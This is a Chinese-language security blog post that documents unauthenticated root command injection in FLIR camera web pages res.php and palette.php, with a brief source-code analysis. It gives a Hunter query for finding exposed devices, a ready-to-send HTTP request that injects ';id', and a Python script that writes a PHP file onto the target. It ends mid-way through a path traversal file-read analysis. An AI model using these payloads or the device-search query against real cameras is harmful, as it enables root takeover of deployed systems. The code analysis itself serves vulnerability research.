学习出处:道一安全大佬的博客
hunter语法
web.icon=="f4370ff0b4763e18159cd7cdf36a4542"
漏洞描述:
1.46.16 及以下未经身份验证的远程操作系统命令注入漏洞。res.php 页面中的 id 参数可以通过命令拼接,以 root 用户身份注入和执行任意 shell 命令,成功的利用可能允许攻击者以 root 权限在底层操作系统上执行任意命令。
漏洞复现:
payload:
POST /res.php HTTP/1.1
Host: xx.xx.xx.xx
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/117.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: theme=light; distanceUnit=metric; temperatureUnit=celsius; showCameraId=false; clientTimeZoneOffset=-480; clientTimeZoneDST=0; PHPSESSID=8ff0e4065c8a04d1894ddde494f0fe8d
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 25
action=node&resource=1;id
源码分析:
先看下res.php的代码
如果action参数为get的话,会走到第一个case里面,然后判断resource参数是否提交,如果提交了则进入开始判断resource参数内容,如果没有的话直接break跳出判断。
然后看下这三个判断,前两个是判断文件是否存在,且没有可控参数,第三个判断用shell_exec函数执行了一条命令,后面拼接了resource参数,而且最后一个是default,只要不符合前两个case的话,就会走到这里,所以这里直接输入;id即可。
后面的代码也都和这个差不多,都按照这个思路去看就行,如果有看不明白的可以留言或者私信。
在 www 目录下 palette.php 程序接收 POST 方法请求,若存在 palette 参数,程序会将palette 的值与 LD_LIBRARY_PATH=/FLIR/usr/lib /FLIR/usr/bin/palette 拼接执行,若 palette 包含命令截断符,会造成命令注入。。
漏洞复现:
import requests
import sys
import urllib3
# disable https not verify warning
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
def verify(url):
try:
target_url = url + "/palette.php"
data = {
'palette' : "1; echo '<?php phpinfo(); ?>' > temp.php",
}
headers = {
'Host': url.strip("http://").strip("https://"),
'Content-Type': 'application/x-www-form-urlencoded;charset=UTF-8',
}
response = requests.post(target_url,
verify=False,
data=data,
headers=headers)
print(response.text)
except Exception as e:
print(e)
if __name__ == '__main__':
url = 'x.x.x.x'
verify(url=url)
试了下,应该是没有回显,先不管这个了,分析一下源码
这个就是先判断一下palette参数是否传递,如果传递的话下面执行命令然后拼接参数,然后没有输出命令结果。
这个漏洞是我自己找到的,后面我搜了下,有人先发出来了,我就不复制网上其他的介绍了,直接看下源码吧
漏洞位置在这里,先从头看下源码有没有什么其他限制
先看下第18行代码,这里判断了file参数是否提交,现在burp这边把file参数写上,防止后面忘记了
接下来是这三个地方接收了数据,第一个参数是文件名第二个是类型,第三个不知道干什么的,但是用三目运算符判断了一下,然后看下49行代码,这里判断了$is_attachment参数是否为真,如果为真的话这里是设置header头,问题不大,不耽误文件读取。
然后type那个参数我搜了一下没有地方用到这个,所以这个不用管了
然后继续看下面的代码,判断文件类型,然后设置响应头等内容
大概看了一眼,没有过滤../和文件类型,直接发包看下